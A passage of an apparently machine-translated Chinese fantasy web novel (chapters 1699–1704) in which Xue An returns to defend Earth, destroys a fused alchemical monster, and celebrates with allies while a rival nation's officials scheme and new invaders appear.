    Therefore, the current Fire Phoenix, even if it is placed in the heavens, is considered a strong team.


    At the same time, I saw a flood of light and shadow.


    This is reinforcements from other Battlestars.


    Xue An even saw many familiar faces in it.


    For example, Xie Jingjing, who attacked wildly as soon as he entered the stadium, such as Xue Lan, such as Tan Xiaoyu!


    The joining of these people made the battlefield become more and more heated, although the strength of the monster army is strong, but under the siege of so many people, the situation still shows a one-sided situation.


    Seeing this scene, the global people who originally put their hearts in their throats were relieved.


    The Internet is even more jubilant.


    "Tsk tusk, let me just say, these monsters can''t make any waves! How can so many powerful people in China allow a group of foreigners to be presumptuous?"


    "Yes! Huaguo is high!"


    "Hey, you said these monsters can''t fight and fight, but come to die all day long. What kind of spirit is this? This is the dedication to internationalism of two to eight hundred!"


    "Sisters who guard the earth, we love you!"


    These comments filled the entire screen instantly.


    Zhongdu.


    Military building.


    At this moment, Zhen Guo Da, who looked a little haggard, was also attentively reading the messages of these sand sculpture netizens.


    From time to time, there is a smile on his mouth.


    Seeing this scene, the secretary couldn''t help but smile: "General, are these barrage interesting?"


    General Zhen Guo smiled and shook his head, "These kids, it''s really hard for them to come up with some things!"


    The young man who had just graduated from college said with a smile: "General, don''t you know that there is a saying on the Internet that children with intellectual disabilities are more happy, and they are talking about them!"


    General Zhen Guo laughed and laughed, then raised his head again, and looked at the big screen intently.


    The situation on the battlefield was already very clear at this moment, the monster army was beaten back and forth, and there was no more power to fight back than to fight back.


    Seeing this scene, there was a cheerful atmosphere in the huge headquarters.


    Many staff officers talked with people around them relaxedly. Someone quickly summarized the whole process of the battle, and prepared to file it after the end for easy reference in the future.


    But just when the whole people believed that this battle would end in the victory of the earth as before.


    The general of the town country suddenly turned pale, and then he slapped the table suddenly, "No!"


    The sound shocked everyone.


    "General, what''s wrong?" the secretary hurriedly asked.


    "These monsters are not right!" The town general''s eyes were full of chills.


    "They seem to be defeated, but they are constantly moving closer together. This is obviously different from previous defeats!"


    Speaking of this, there was already a tremor in the voice of General Zhen Guo.


    The command post was even more silent, and all the staff officers were staring at the big screen.


    really.


    Although these monsters looked a little flustered on the surface, they moved closer together intentionally or unintentionally under the siege of everyone.


    This discovery made everyone look pale.


    What do these demons want?


    "Quickly, notify the Fire Phoenix Special Forces and the Battlestar on the front line, so that they must pay attention to this matter!" The general of the town country sank and ordered immediately.


    "Yes!"


    But before the secretary dialed the frontline phone, the situation on the big screen suddenly changed drastically.


    But seeing the monsters who had come close together suddenly began to fight back crazy This kind of counterattack is different from the previous fight and retreat. It is a true fearlessness and desperateness.


    Under this sudden and fierce offensive, the people of Fire Phoenix were caught off guard and were retreated by combos.


    And this scene directly freezes the relaxed atmosphere just now.


    what happened?


    Are these monsters crazy? What are they going to do?


    These questions surfaced in everyone''s mind.


    And at this moment when the whole world was silent, but seeing these monsters close together suddenly began to merge.


    Yes, it''s a literal fusion.


    I saw that the monsters seemed to be incarnate into parts, combined with each other to form a larger part, and then continued to combine...


    In this snowball-like growth process, a sound similar to the rotation of a mechanical gear is broadcast through satellites and reaches the ears of everyone in the world.

 Chapter 1699： Living Alchemy

    In the field, Fire Phoenix, Tang Xuan''er and the others were all overwhelmed by it.


    Because they can perceive very clearly that with the fusion of these monsters, an extremely powerful aura is gradually taking shape.


    Zhou Da Niu roared, "Pretend to be a god, give me a break!"


    He rushed up as he said, trying to interrupt the process now.


    But before he rushed forward, the half-formed demon suddenly stretched out a terrifying arm, and under one wave, Zhou Daniu could only retreat.


    Seeing this scene, Tang Xuan''er frowned slightly. She always felt that the scene where these monsters merged was so familiar.


    At this moment, a shivering voice came from behind her, "It''s living alchemy! That''s right, it''s it. Only it can make these demons merge together!"


    Tang Xuan''er turned her head and looked.


    She is very familiar with the speaker, it is Liu Keke of the puppet door.


    Speaking of which, Liu Keke is not an aboriginal on earth, but a person in the secret realm of luck.


    But since Xue An opened up the secret realm of air transport, the secret realm of Kunlun and other secret realms attached to the earth, the people of the big secret realms have communicated with the earth and are completely integrated.


    Especially Puppet Gate, because its alchemy and earth science and technology have extremely strong complementary characteristics, so it develops most rapidly.


    This time the world was moving, and the monsters of the outer domain invaded, and Liu Keke was the first to join the Battlestar.


    And she is also the person who has the deepest understanding of alchemy in the audience.


    Hearing her words, Tang Xuan''er was a little surprised, "What is living alchemy?"


    Liu Keke''s face was pale and calmly said: "This... this is a forbidden secret technique that only exists in the alchemy realm. Once it is deployed, it can instantly transform flesh and blood into a cold machine, and then forcibly fuse it together. , Forming a non-human and non-mechanical monster!"


    When everyone heard the words, their eyes widened.


    Wei Rulan''s expression moved, "You mean someone is instigating these demons?"


    "Absolutely can''t be wrong, there must be an extremely powerful alchemist behind the opponent!"


    The voice just fell.


    Just hearing a loud noise that shook the void, these demons had already merged.


    What appeared in front of everyone was a monster that was a hundred feet tall, with a metallic luster all over it, but there was a faint blood flowing below it.


    And on this monster''s body, from time to time, a demon''s face would be revealed.


    The demon roared in pain, trying to break free, but in a blink of an eye, one arm would drag him back.


    It was as if there were countless insects wriggling and struggling in this monster''s body.


    Such a weird and terrifying scene made everyone''s horror.


    Especially those ordinary people who saw this scene through the live broadcast were even more pale and almost vomiting.


    However, the Fire Phoenix Special Forces are indeed elites in all battles, and saw that they almost regained consciousness after a daze.


    Zhou Daniu rolled his eyelids even more, and glanced at this monster with disdain, "I''m so big? Today, you, Master Zhou, I will tear you up a little bit. How did you blend together? How can I give it to you? Separate!"


    As he said, Zhou Daniu''s eyes suddenly brightened, and the muscles all over his body instantly knotted, and there was a bang from the depths of his body that looked like a steel wire was broken.


    In an instant, Zhou Daniu''s figure increased by more than one head, and the golden light on his body became more radiant.


    The violent aura was even more violent. At this moment, Zhou Daniu seemed to be no longer a human being, but a tyrannosaurus on the verge of losing control.


    Bang!


    This monster seemed to feel the threat from Zhou Daniu, and a huge arm waved sideways, and the space it passed was slightly sunken inward.


    In the strong wind, the weaker people retreated again and again.


    But Zhou Daniu has been aroused madness. Instead of retreating, he took a step forward and roared: "Good come!"


    As he said, he suddenly stretched out his hand and directly grabbed the waved arm.


    Boom!


    A loud and dull sound shocked everyone''s efforts.


    Looking at Zhou Daniu again, the golden light on his body was flickering, and the muscles all over his body had been tightened to the extreme, and he actually caught this huge arm abruptly.


    And this scene full of violent violence also shocked everyone.


    "Gosh, is this still a human?" someone whispered softly.


    "Zhou Tieren''s nickname is wrong, this should be called Zhou Shenren right!"


    But at this moment, Zhou Da Niu suddenly snorted, and then he was blasted out by this arm.


    A golden light came straight to the Battlestar, Zou Yi exclaimed, "Da Niu!"


    As he said, he flew up desperately, trying to block Zhou Daniu from behind.


    But how could this be done with his strength.


    Because it was just a little touch, it flew out.


    Cheng Hao said solemnly: "Go together!"


    After all, everyone in the Phoenix will fly up.


    At this moment, I just listened to Zhou Daniu roaring: "No, I can do it myself!"


    As he said, Zhou Daniu urged his whole body''s cultivation base and began to madly offset this huge force.


    Finally, he stopped shortly before hitting the Battlestar, and then began to gasp for breath.


    Through the live broadcast, people can even see the big beads of sweat on his face.


    At this moment, everyone''s heart raised their throat instantly.


    The previous ease is gone.


    No one dared to speak.


    In the silence of the audience and the whole world, Zhou Daniu viciously wiped the nosebleeds that had come out from the excessive force, "Damn, it''s a bit of strength, come again!"


    With that, he wanted to urge his figure to rush up again.


    But at this moment, a slender, well-knotted hand patted his shoulder gently.


    "Well, you can withdraw! Leave the rest to me!"


    This sentence was as calm as water, but it sounded like thunder in Zhou Daniu''s ears.


    how is this possible!


    Did I hear it wrong?


    With this thought in his mind, Zhou Daniu turned his head stiffly to look at , but seeing Xue An not knowing when he had appeared next to him, he was looking at him with a smile.


    "Teach... instructor?" Zhou Da Niu stammered.


    Xue An smiled slightly, "Yes! I''m back!"


    At the same time, everyone present also saw Xue An who suddenly appeared.


    The audience was silent at first, and then there was an uproar over it.


    Cheng Hao and many members of the Fire Phoenix Special Forces were surprised and shouted in unison: "Instructor!"


    Tang Xuan''er was also taken aback, but soon the corners of her mouth rose slightly, revealing a faint smile.


    Xie Jingjing''s expression changed, and she wanted to say something, but in the end she didn''t say it.


    But there was one person in the court who couldn''t restrain his emotions, and shouted in a choked voice: "Master!"


    He said, but when he saw a beautiful figure, he flew towards Xue An, and then plunged directly into Xue An''s arms.

 Chapter 1700： Luck

    Xue An was slightly stiff, but immediately there was a petting smile on his face, and then gently patted the trembling back of the girl.


    "Okay Chan''er, don''t cry, master, am I back here?"


    That''s right!


    It was Ye Xiaochan, the little maid that Xue An brought out from the plane where Hu Ying was trapped.


    After bringing her out at that time, because her strength was too low, Xue An left her on the earth.


    Unexpectedly, a few years later, this little maid still hasn''t grown tall, but still looks like that little loli.


    But the strength has undergone earth-shaking changes, and he actually has the cultivation base of the longevity stage.


    Xue An couldn''t help but sigh at this speed of cultivation.


    In fact, since Xue An won the luck, everyone''s cultivation speed can be described as rapid.


    Although the aura on the earth is far inferior to those in the depths of the starry sky, it can''t stand the blessing of Qi Luck!


    Therefore, in just a few years, such a large group of powerful people have been created on the earth.


    Hearing Xue An''s relief, this little Chan''er stopped crying, but still had no plan to get up.


    Xue An couldn''t help laughing: "Chan''er, let go of your hand first and see how I fight the monster, okay?"


    Chan''er only then realized that she was still in Xue An''s arms, her face flushed with shame, she quickly let go of her hand and hid aside.


    Xue An smiled slightly, but when he raised his eyes to look at the monster, the smile on his face instantly diminished, and some were just infinite murderous intent.


    Xue An naturally saw the whole process just now.


    And the reason why he didn''t intervene was because when these monsters just started to merge, Xue An suddenly felt a familiar breath from it.


    That''s right!


    It was the breath felt in the Rubik''s Cube given to him by Wan Han in the world of alchemy.


    This discovery made Xue An''s eyes suddenly cold.


    Wan Han said that there were originally three masters in the world of alchemy.


    Among them, the divine creator who was obsessed with alchemy creation and eventually messed up the entire alchemy world, and eventually led to its collapse, has escaped.


    And now from these fusion monsters, Xue An felt the familiar breath again.


    This could not help shocking Xue An before he showed up.


    now.


    His appearance also spread throughout the world as satellites broadcast.


    When seeing this face deeply in memory reappear in front of them, countless people stood up subconsciously to show respect.


    In the headquarters of Zhongdu.


    General Zhen Guo was also startled, but even if Xuan let out a breath, a long-lost relaxed smile appeared on his tired face.


    "Okay! He is back, now we can catch our breath!"


    No one questioned this sentence, because everyone present knew what the appearance of this teenager meant.


    And many people who knew Xue An were crying with joy and could hardly control himself.


    Although they had received the news before, the news was news after all, and no one was sure whether it was true or not.


    It wasn''t until now that Xue An really appeared, that these people''s hearts were relieved.


    At this moment, the huge monster seemed to be a little impatient, waving his huge arms, and swaying towards Xue An.


    In the beginning, this monster seemed to fall to the ground at any time.


    But after just a few steps, the monster''s actions became steady, and it even ran faster and faster.


    Liu Keke exclaimed, "He is studying!"


    The voice was full of horror, because only she knew how terrifying the alchemy puppet that could learn by herself was.


    Xue An didn''t show the slightest expression when he saw it. He just said lightly: "Da Niu!"


    "in!"


    "Bring Chan''er away from here!"


    "Yes!"


    Zhou Daniu immediately dragged Chan''er to the distance.


    Xue An faced the rushing monster, his expression indifferent, and even a hint of mockery in his eyes.


    At the same time, Chen Xiaoyi, who was already in a high position in the live broadcast room of Zhongdu and was solely responsible for the space live broadcast, was also awake from the initial surprise and shock.


    Then she yelled, "Listen to me, give me all the shots at this adult, there must be no omissions, otherwise I will let him go right away!"


    "understand!"


    In the promise of the audience, all the direct broadcast satellites aimed their cameras at Xue An.


    So everyone saw the expression on Xue An''s face at the moment through the screen.


    You must know that there are many new generations who are very unfamiliar with Xue An. Although they have heard some rumors, they still have no impression in their minds.


    Therefore, at this moment, many people are actually a little unconvinced.


    Especially after seeing Xue An''s eyes at the moment, many people are even more stunned.


    Isn''t it impossible to avoid such a powerful enemy? This is too arrogant!


    But just before this thought had fallen, I saw the monster''s arm swinging straight, hitting it according to Xue An.


    Zhou Da''s eyelids twitched in the distance.


    This blow was much more powerful than just before, and if the one he had just faced was this blow, it would be more than just being knocked back.


    Is the instructor really good?


    At this moment, only a muffled sound was heard.


    Looking at the scene again, Xue An remained motionless, with one hand behind him, one hand raised, and understatement, he grabbed the booming arm.


    No one saw how he caught it, as if it was just a flash of kung fu, this mighty blow was directly caught.


    This monster was also startled, but soon began to struggle frantically, and the huge power could be clearly felt even through the lens.


    But Xue An didn''t even lift his eyelids, just smiled coldly.


    "Waste is waste, no matter how powerful it is, it is waste!"


    As he said, Xue An shook his arm and grabbed this arm to pull the huge monster over.


    The monster yelled angrily, trying to break free.


    But all his struggles were so pale and powerless in front of Xue An''s strength.


    At this moment, Xue An gave a soft sigh, and unexpectedly kicked the monster up.


    The monster roared again and again, but it didn''t help at all.


    And Xue An swung faster.


    To the back, the monster''s cry was full of fear.


    Chen Xiaoyi looked at the screen intently, and suddenly shouted, "Are you all ready?"


    "Ready!"


    At this moment, when Xue An suddenly let go, the monster was thrown out.


    Immediately afterwards, Xue An''s figure flashed, turned into a streamer, and came directly to the top of the monster''s head, followed by a heavy kick.


    Bang!


    The monster''s head was instantly kicked to pieces The blood mist mixed with the brain and drifted away.


    Xue An didn''t pause at all. He turned around and came to the back of the monster again, then raised his fist and banged.


    Boom!


    The power of this fist penetrated from behind and exploded from the front.


    Xue An''s palm was even deeper into it, and then with a sudden force, he grabbed the monster''s spine and pulled it out abruptly.


    The monster fell to the ground with a trembling body, becoming a mass of lifeless rotten meat.


    And Xue An only used three punches and two kicks to achieve this.


    Chen Xiaoyi was also shocked, but immediately she yelled, "Are you all photographed?"


    "Don''t worry, it''s all taken!"


    "Very good! Start editing immediately, and then put it on all channels!"

 Chapter 1701： With me, no one can step into the earth half a step...

    Xue stood quietly in front of the monster''s corpse, his eyes flickering, as if thinking about something.


    And this scene was broadcast all over the world instantly via satellite.


    People''s mood that had relaxed because of the death of the demon then tightened.


    What is this adult doing?


    Could this monster not die yet?


    These questions press on everyone''s heart, making the atmosphere of the whole world very depressing.


    At this moment, I saw Xue An exhaling slowly, and with a wave of his hand, a blood-red flame appeared in the air, and then the body of the monster was completely enveloped.


    Wherever the flame reached, the corpse of the monster turned into fly ash.


    In an instant, this huge monster disappeared.


    Seeing this scene, Zhuge Zang, who was standing in front of the Lao Xie Hotel, flashed with brilliance in his eyes, and then smiled.


    "Red lotus industry fire! I really don''t know what the feelings of those guys in the depths of the starry sky will be when they see this flame again!"


    At the same time, Xue An turned around, his figure flashed, and he came to the Battlestar.


    "Instructor!"


    "I have seen the instructor!"


    The people of the Fire Phoenix Special Forces lined up and shouted at Xue An standing straight.


    Xue An nodded with a smile, but looked at the people standing opposite.


    Tang Xuan''er was naturally standing at the front of the crowd.


    After she met Xue An''s gaze, her cheeks were slightly red, then she lowered her head and whispered: "I''m back?"


    Xue An nodded, "Yes! I''m back!"


    "When did you come back?"


    "Just came back tonight!"


    "Oh!"


    With just a few simple words, Tang Xuan''er fell into silence.


    Wei Rulan, who was standing behind her, sighed when she saw this, then stepped forward and said, "Mr. Xue, thank you for your saving grace..."


    Xue An smiled and waved his hand, "Okay, it sounds like the earth is not my home!"


    One sentence made Wei Rulan swallow the following words again.


    Then Xue An glanced at everyone present, and his expression gradually became solemn, "If you say thank you, it should be me thanking you!"


    "Originally, it was too late when I got the news among the heavens. I even thought that the earth would suffer catastrophe. I didn''t expect you to be able to fend off the enemy outside your home. This is enough to deserve a word of thanks!


    Xue An��s words touched many people��s faces, and Wei Rulan said solemnly: ��Sir, it��s serious, as you said, the earth is also our home, so naturally these demons are not allowed to run rampant!��


    Xue An nodded and suddenly said, "You have been tired after holding on for so long. Now come back to the ground with me and have a good rest!"


    Xue An''s words caused a slight commotion among everyone.


    Although the power of this demonic invasion is not too strong, it can''t hold back the frequency.


    And there is no law, no one knows when the next monster attack will be.


    In this situation, the nerves have to be tightened every day, and over time, both the body and the mind will feel tired.


    Now that Xue An proposes to let everyone rest, it naturally refreshes the spirits of many people.


    But Tang Xuan''er said hesitantly at this moment: "But if we all go to rest, what if there is an invasion by a monster?"


    "Yes! There can be no one on duty in the Battlestar! Or we Fire Phoenix is ??watching here, you should go down and rest first!" It was the leader of the Fire Phoenix who spoke, Cheng Hao.


    Xue An smiled and shook his head when he heard the words, "It doesn''t have to be so troublesome! If the previous Battlestar had to be guarded, then there is no point in staying behind now! Because..."


    "With me, no one can step into the earth half a step!"


    When he said this, Xue An''s expression was very indifferent, but neither the people present nor the people who saw this scene through the live broadcast had no doubt about the authenticity of these words.


    Because the strong self-confidence naturally revealed in these words has said everything.


    Tang Xuan''er was also startled when she heard this, but Xuan even shook her head and chuckled.


    This Xue An really hasn''t changed at all!


    Since Xue An said so, everyone followed Xue An to fly to the earth.


    In the Central Capital Headquarters, General Zhen Guo was taken aback when he saw this scene, because he discovered that Xue An and the others were flying to the north of China instead of the Central Capital.


    To the north...


    The General Zhen Guo suddenly understood something, and Huo Ran stood up and said in a deep voice, "Get the car!"


    "General, where are we going?" the secretary hurriedly asked.


    "Beijiang!"


    Calculated by the straight-line distance, the total distance from Battlestar to Beijiang is no more than 100 miles. Not to mention Xue An at this distance, even the weakest Chan''er can go back and forth in an instant.


    Therefore, before the people who watched the live broadcast recovered, Xue An and his party had disappeared into the night.


    People stared blankly at the empty live broadcast, and they were all overwhelmed for a while.


    Because everything that has happened from the beginning to the present is really shocking and incredible.


    Who would have thought that these demons would suddenly merge together and almost broke the Battlestar.


    Who would have thought that Xue An, who had been away for a long time, would suddenly appear and wipe out this terrifying monster with three blows.


    So for a while, everyone was silent for it, but after only a moment, the whole world was boiling.


    Regardless of whether it is the Internet or reality, people are all rejoicing and rushing to tell each other, and the haze that has been cast by the monster attack before is also wiped out.


    As for those young people who didn''t know Xue An before, and even thought that Xue An was nothing great, their attitudes at this moment have undergone a 180 degree change.


    With me, no one can step into the earth!


    Just this sentence convinced these unruly teenagers.


    At the same time congratulatory messages from various countries flew to China like snow flakes, and the content was all congratulations to this great Chinese for his safe return.


    Even country M, which has been at odds with China, can only express congratulations sourly at this moment.


    Because even they had to admit that Xue An''s appearance was like a pin of tranquility in the sea, instantly calming down the restless world.


    And just when the whole world is busy with this matter.


    Xue Anye has led everyone to the ground.


    The people waiting at the door hurriedly greeted them.


    Those who can appear here are basically acquaintances.


    So when we met, they were all very affectionate.


    Especially Tang Xuan''er, when she saw Fan Mengxue in the crowd, she thought she was wrong. It was not until Fan Mengxue came closer that she was sure that it was true, so she grabbed Fan Mengxue''s hand with infinite surprise.


    "Mengxue, when did you come back?"

 Chapter 1702： 1 Everything that cant knock you down will make you...

    Seeing this, Fan Mengxue couldn''t help but feel a warm current, "I just came back too!"


    "Great! You don''t know how worried I have been for you in the past few years! Just come back safely! Just come back safely!"


    At this moment, the fat aunt, who was already so happy from ear to ear, said loudly: "Everyone hasn''t eaten yet! I will prepare now. I can''t sit inside, let''s set the table outside!"


    With that, Fat Aunt turned her head and shouted at Du Fan, "Xiao Du, send a few people over to help!"


    Du Fan had already made preparations. Hearing this, he immediately said, "Don''t worry, Auntie Fatty, I''ve already arranged it!"


    I was talking, but I saw a group of boys approaching with tables, chairs and benches, and directly set up a table on the open space in front of the hotel.


    Not only that, with the arrival of a big truck, more than a dozen chefs in white clothes jumped down from it, and then began to greet the boys to move down in full swing.


    Pots, stoves, bowls, oil, salt, sauce and vinegar, all kinds of ingredients are readily available.


    Xue An raised his eyebrows slightly, "Did you arrange this?"


    Du Fan hurriedly said with a smile: "I''m not afraid that Aunt Fatty and Uncle Xie will be too busy, so I invited all the chefs from the surrounding restaurants! Sir, you..."


    "Good job!" Xue An said.


    Du Fan was overjoyed and nodded hurriedly, "Mr. I have passed the award, this is what I should do!"


    Xue An smiled faintly, turned and left.


    Du Fan was overjoyed, and then quickly walked to the front of the chefs, clasped his fists and said, "I''m sorry to invite you over late at night..."


    Before Du Fan could finish, the dozen or so chefs shook their heads at the same time, and the fat chef who took the lead said very excitedly.


    "Brother Du, you are too polite. You must know if you are cooking for Mr. Xue and the adults. Why would you send someone to invite you? A call, our brothers have to climb over!"


    "Yes, yes, yes! It''s the most honored thing in my life to cook for the goddess Xuan''er! You didn''t see that I just sent the news to the chefs group, and my brothers and sisters heard it. Howl!" A younger chef was even more excited and almost jumped up.


    Du Fan was a little stunned when he saw this, and even smiled relieved.


    Because he was so excited when he first saw him?


    Soon, the aroma of frying and frying filled the whole street.


    With so many people, the drinks in the restaurant are not enough.


    But before Du Fan Zhang Luo people could buy it, the people from several big supermarkets in Beijiang had already arrived.


    In their car, they were filled with all kinds of high-end drinks and tea.


    And no matter what Du Fan said, the people in these supermarkets were not willing to take money, they only had one word.


    It is an honor for them to do a little bit for Mr. Xue and the adults.


    After speaking, the employees of these supermarkets put down their things and turned away.


    Seeing this scene, the noisy crowd calmed down a bit.


    Although many people are exhausted physically and mentally, their eyes are gradually reddening.


    Because they feel that all their efforts are worthwhile.


    Zhuge Zang took his gaze back from the supermarket employees who had gone away, and then sighed softly, "Brother Xue, I suddenly understand why those foreigners will slaughter you Chinese at all costs!"


    "Because your nation is really terrible!"


    "Over the past year or so, I have traveled all over the world, and what I have seen and heard has shocked me! I thought I had seen your people through, but now, I know I was wrong! Because of what these ordinary people do, It really makes many strong people ashamed!"


    "With this kind of spirit, once you have the right opportunity, there will be no race in the heavens that will be your Chinese opponent!"


    Xue An glanced at Zhuge Zang with a serious face, with a smile.


    "Is the evaluation so high?"


    Zhuge Zang shook his head, "It''s not a high evaluation, but a fact! Especially the myths passed down from the elders of your nation can prove this!"


    "Oh? What myth?"


    "When the sky has fallen, I will refine the stones to make up for it. When the flood comes, the mountains will be cut and the mountains will be dug out..."


    Zhuge Zang said in a deep voice, and finally shook his head and smiled bitterly: "Seriously, I really can''t imagine what kind of heights will be reached in the future to create such a mythical nation!"


    Xue An''s complexion gradually became awe-inspiring, and then he took the wine in front of him and took a sip.


    "It''s actually very simple. Everything that tries to knock down our Chinese people will make us stronger!"


    Zhuge Zang muttered these words lightly, and the brilliance in his eyes gradually fell silent, becoming like two pearls falling into the dust, with a restrained look and a solemn expression.


    The hot meal was served like running water.


    After a few glasses of wine, people finally let go of their restraints and started talking and laughing loudly.


    Of course, a toast is essential.


    Sitting in the main seat, Xue An was naturally "siege" by everyone.


    But he did not refuse to come, and the toast in the face of anyone was a drink.


    After a few rounds, Xue An has at least drunk a few large jars of liquor, and instead of drunk in his eyes, his eyes became clearer.


    Now, almost everyone understands a fact.


    That is drinking with Xue An, purely asking for trouble.


    So there are fewer people toasting.


    At this moment, a burst of hearty laughter came from a distance.


    "Mr. Xue, but I wonder if I can ask for a few glasses of water and wine?"


    Following the voice, I saw a person walking forward like a tiger.


    When his familiar face appeared in front of everyone, many people couldn''t help being stunned.


    "Big... General?" An Qing hurriedly stood up and gave a standard military salute.


    As a member of the army, she naturally wanted to pay tribute to the general in command of the Chinese armed forces.


    That''s right, it was the town general who came.


    There are thousands of miles from Zhongdu to Beijiang, if you follow the normal way, you will definitely not be able to arrive in such a short time.


    The General Zhen Guo arrived here so quickly in an alchemy flying plane just developed by the Academy of Science and Technology.


    Xue An naturally showed his due respect to this old man who has dedicated his life for China and devoted most of his life.


    "The general joked, please sit down!"


    The General Zhen Guo was not polite, and directly sat next to Xue An, and met Zhuge Zang.


    "Who is this����."


    The General Zhen Guo knew almost everyone present, but he had no impression of Zhuge Zang.


    "Oh, he is a friend of mine, who happened to pass by the earth and stayed there!" Xue An explained lightly.


    With Zhuge Zang''s identity, let alone a general of a country, even if he is in charge of a galaxy, he may not be concerned.


    But when facing the town general, Zhuge Zang nodded and smiled naturally.


    "The general seems to have something on his mind?"

 Chapter 1703： Vulnerable

    The General Zhen Guo laughed bitterly when he heard the words, "The Taoist leader really has good eyesight! I do have important things to ask Mr. Xue!"


    With that, General Zhen Guo looked at Xue An with bright eyes.


    Xue An smiled faintly, "Oh? Why is the general looking for me?"


    General Zhen Guo took a deep breath, "Dare to ask Mr., in your opinion, what is the strength of these monsters?"


    Xue An was startled slightly, and then shook his head, "In my opinion...it''s vulnerable!"


    Xue An��s answer seemed crazy to others, but everyone present was deeply impressed.


    Because Xue An''s previous performance has proved that he is qualified to say this.


    But the dignified look on General Zhen Guo''s face was not relieved by this. He said solemnly, "Sir, what if the strength of these monsters is increased several times or even dozens of times? You can deal with them so easily. ?"


    These words of General Zhen Guo changed the expressions of many people.


    Xue An looked at General Zhen Guo with a smile, "Can I ask the general why you ask?"


    General Zhen Guo showed a bitter smile, "It''s true that we are moving from the sky to the earth. When the monsters first attacked the earth, we set up a headquarters and input all the data into the supercomputer for deduction. As a result, we found..."


    A dignified look appeared on the general of the town country, "The strength of these demons is growing at a terrifying speed!"


    Hearing these words, everyone was silent.


    Because as frontline fighters, they all have personal experience of this.


    At the beginning, the strength of these demons was ridiculously weak, and any ordinary monk could easily deal with them, but as time went on, not only did the number of these demons increase, but their strength gradually increased.


    This change is subtle, so many ordinary people are not aware of it.


    At this time, General Zhen Guo went on and said: "The sudden explosion of the strength of the monster has changed our deduction results! In other words, in the future, it is likely to be stronger than this number of times or even dozens of times. s attack!"


    "By then, I don''t know if my husband can handle it so easily!"


    Huh!


    The eyes of the audience focused on Xue An.


    Xue An just smiled, then picked up the wine glass and took a sip, "Don''t worry, since I''m back, then I will take care of this matter!"


    "I still said that, no matter how strong the opponent is, don''t even want to step into the earth for half a step!"


    This statement made the atmosphere of the audience instantly become enthusiastic.


    Although there was still a trace of worry in the eyes of General Zhen Guo, the result was the best he could think of, so he also brought up the wine glass.


    "In that case, I will offer Mr. a glass, thank you for your contribution to China and the whole world!"


    After all, the town general drank all the wine in one cup.


    Xue An smiled and had a drink with him.


    After the glass was put down again, the wine shop became noisy again.


    But at this time, General Zhen Guo sighed slightly, "In fact, if the major countries in the world work together, even if you do not return, you may not be afraid of these monsters!"


    There is something in this remark.


    So Xue An raised his eyebrows slightly, "Oh? Why do you say that?"


    The town general said angrily: "It''s not because of country M, a shit-cutter!"


    If he was able to speak such vulgar remarks as a high-ranking authority, it can be seen how much the town general''s opinion is about this country M.


    "You don''t know anything, since the great turmoil of the world and the invasion of demons, this country M will not only look at the overall situation, and work together with us to fend off the enemy! On the contrary, it actually hides behind to fan the flames and tell the truth!"


    "Even saying that the demons invaded because of China, and that China should apologize to the world!"


    Speaking of this, the town general''s face was already full of anger.


    Xue An said indifferently: "Apologize to them?"


    "Correct!"


    "Hehe, don''t these idiots understand who Hua Guo is fighting for?" Qin Yuan, who had been with the Prime Minister, suddenly sneered.


    General Zhen Guo shook his head, "It''s useless! Once your **** is crooked, you will be confused even if you understand it! What''s more, in this great turmoil, evil spirits are rampant on the land of China, but they appear in the mainland of Country M. There are relatively few people, and that''s why they will point their finger at us, thinking that these evils provoked by China!"


    Xue An''s eyes flashed Guanghua, and then nodded, "Okay, I know! I have my own conclusion on this matter!"


    General Zhen Guo wanted to say something, but seeing Xue An''s expression, he swallowed the rest of the words again.


    This time, his most important thing is to tell Xue An about the results of the command��s performance, and to inquire about his tone.


    Now that the goal has been achieved, the General Zhen Guo will no longer talk about work matters very interestingly, but start a conversation with Zhuge Zang with great interest.


    at the same time.


    In the CIA headquarters in country M, an ultra-high-profile meeting is being held.


    When they saw that Xue An wiped out the huge monster with three fists and two kicks in the video, the high-level people who attended the meeting issued a low exclamation.


    And when the video was finished, the eyes were swollen and the disheveled-haired President of Country M looked extremely ugly and said, "Edward, have the analysis results come out?"


    CIA director Edward nodded, "Yes, your Excellency, the analysis results have just been released!"


    With that, Edward picked up the papers on the desk and began to read.


    "Through video analysis, it can be known that Xue An, a Chinese powerhouse, has a punch of about 10,000 tons, which means that he can be worthy of an aircraft carrier alone!"


    There was another exclamation in the venue The president''s complexion was already gloomy and almost dripping with water, "What then?"


    "Then we calculated based on the observation data at the time that this Xue An did not use any extraordinary powers, that is to say..." Edward paused, and then said in a trembling voice.


    "When he killed this terrifying monster, he didn''t use real strength at all, but pure physical strength!"


    "Impossible!" The chief scientist, who is also the most authoritative expert in the field of extraordinary power in country M, took the lead in opposing it.


    "Oh?" The president looked at the scientist.


    "Dear President, I seriously doubt the authenticity of this report. If a person wants to make a 10,000-ton punch with his own strength alone, his muscle strength is even stronger than that of the hardest titanium alloy. To be higher! And this is simply impossible! So I think this Xue An must have used some methods we don''t know!"


    "You mean to say..." A gloomy look flashed across the president''s eyes.

 Chapter 1704： It is unforgivable to disturb my drinking pleasure!

    "Yes, it should be the magic that China has always kept secret! So I think the top priority now is to put pressure on China through various channels as soon as possible to let them surrender these precious secrets, as long as they have it. It, coupled with the scientific research strength of our country M, can develop even more powerful fighters!" The scientist''s eyes showed enthusiasm.


    The president thought for a moment, then slowly nodded, "You don''t need to say this, we have been doing it! But..."


    The president looked around the audience with gloomy eyes, "I think our Super Soldier project should speed up the progress and come up with a stable experimental body as soon as possible, so as to check and balance this damned Chinese!"


    "This is no problem, but in terms of investment..." the military spokesman immediately stood up and said.


    "Investment doubled again, no, triple! But I want to see super fighters standing in front of me next month, not a group of irrational wastes who can only kill each other!"


    "Yes!"


    But just after the meeting, when many high-level executives were about to leave, a harsh siren suddenly came from the CIA headquarters.


    Everyone was taken aback.


    Edward rushed to the screen and then froze.


    Because on that special radar screen specially used to detect extraordinary powers, dozens of brilliance suddenly appeared.


    "Edward, what''s going on?" the president shouted.


    At the same time, a shrill sirens came from the city outside.


    Not only country M, but even the world received the alert at the same time.


    People looked up one after another, but seeing the sky above the sky, dozens of huge light spots suddenly appeared, even larger than the light spot that appeared before, and densely packed, occupying the entire sky.


    The power of terror enveloped the world, and everyone was shaking.


    Countless powerhouses are even more shocked.


    Edward looked at the outside scene stupidly, and suddenly shouted in despair, "God! It''s all the **** Chinese people who angered the demons. Now they are going to completely destroy the world!"


    At the same time, China naturally saw this scene.


    For a while, everyone in the streets and alleys, and the urban fields, was shocked.


    All the people in Beijiang who were feasting even changed their colors.


    "No! The demon took the opportunity to invade, we have to go back to defend!" Cheng Hao shouted, and the people of the Phoenix immediately stood up and rushed to the fortress in outer space.
